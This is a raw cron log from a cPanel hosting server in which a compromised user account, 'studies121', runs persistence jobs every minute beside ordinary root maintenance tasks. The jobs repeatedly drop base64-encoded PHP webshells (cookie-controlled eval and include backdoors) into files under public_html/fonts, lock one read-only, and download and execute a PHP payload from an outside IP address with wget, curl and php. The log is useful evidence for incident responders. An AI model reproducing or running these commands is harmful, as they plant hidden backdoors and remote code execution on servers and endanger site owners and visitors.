Sep  5 00:07:01 ip-184-168-122-23 CROND[9293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:07:01 ip-184-168-122-23 CROND[9294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:07:01 ip-184-168-122-23 CROND[9295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:07:01 ip-184-168-122-23 CROND[9297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:08:01 ip-184-168-122-23 CROND[9459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:08:01 ip-184-168-122-23 CROND[9461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:08:01 ip-184-168-122-23 CROND[9460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:08:01 ip-184-168-122-23 CROND[9457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:08:02 ip-184-168-122-23 CROND[9458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:09:01 ip-184-168-122-23 CROND[9564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:09:01 ip-184-168-122-23 CROND[9566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:09:01 ip-184-168-122-23 CROND[9565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:09:01 ip-184-168-122-23 CROND[9568]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 00:09:01 ip-184-168-122-23 CROND[9567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:10:01 ip-184-168-122-23 CROND[9667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:10:01 ip-184-168-122-23 CROND[9668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:10:01 ip-184-168-122-23 CROND[9670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:10:01 ip-184-168-122-23 CROND[9671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:10:01 ip-184-168-122-23 CROND[9672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:10:01 ip-184-168-122-23 CROND[9673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:10:01 ip-184-168-122-23 CROND[9675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:10:01 ip-184-168-122-23 CROND[9678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:11:01 ip-184-168-122-23 CROND[9769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:11:01 ip-184-168-122-23 CROND[9770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:11:01 ip-184-168-122-23 CROND[9771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:11:01 ip-184-168-122-23 CROND[9773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:12:01 ip-184-168-122-23 CROND[9854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:12:01 ip-184-168-122-23 CROND[9857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:12:01 ip-184-168-122-23 CROND[9858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:12:01 ip-184-168-122-23 CROND[9859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:12:01 ip-184-168-122-23 CROND[9856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:13:01 ip-184-168-122-23 CROND[9939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:13:01 ip-184-168-122-23 CROND[9941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:13:01 ip-184-168-122-23 CROND[9940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:13:01 ip-184-168-122-23 CROND[9942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:14:01 ip-184-168-122-23 CROND[10103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:14:01 ip-184-168-122-23 CROND[10102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:14:01 ip-184-168-122-23 CROND[10105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:14:01 ip-184-168-122-23 CROND[10104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:14:01 ip-184-168-122-23 CROND[10106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:15:01 ip-184-168-122-23 CROND[10214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:15:01 ip-184-168-122-23 CROND[10216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:15:01 ip-184-168-122-23 CROND[10217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:15:01 ip-184-168-122-23 CROND[10219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:15:01 ip-184-168-122-23 CROND[10218]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 00:15:01 ip-184-168-122-23 CROND[10220]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  5 00:15:01 ip-184-168-122-23 CROND[10221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:15:01 ip-184-168-122-23 CROND[10222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:16:01 ip-184-168-122-23 CROND[10327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:16:01 ip-184-168-122-23 CROND[10331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:16:01 ip-184-168-122-23 CROND[10329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:16:01 ip-184-168-122-23 CROND[10332]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 00:16:01 ip-184-168-122-23 CROND[10328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:16:01 ip-184-168-122-23 CROND[10330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:17:01 ip-184-168-122-23 CROND[10416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:17:01 ip-184-168-122-23 CROND[10418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:17:01 ip-184-168-122-23 CROND[10419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:17:01 ip-184-168-122-23 CROND[10417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:18:01 ip-184-168-122-23 CROND[10513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:18:01 ip-184-168-122-23 CROND[10514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:18:01 ip-184-168-122-23 CROND[10515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:18:01 ip-184-168-122-23 CROND[10517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:18:01 ip-184-168-122-23 CROND[10516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
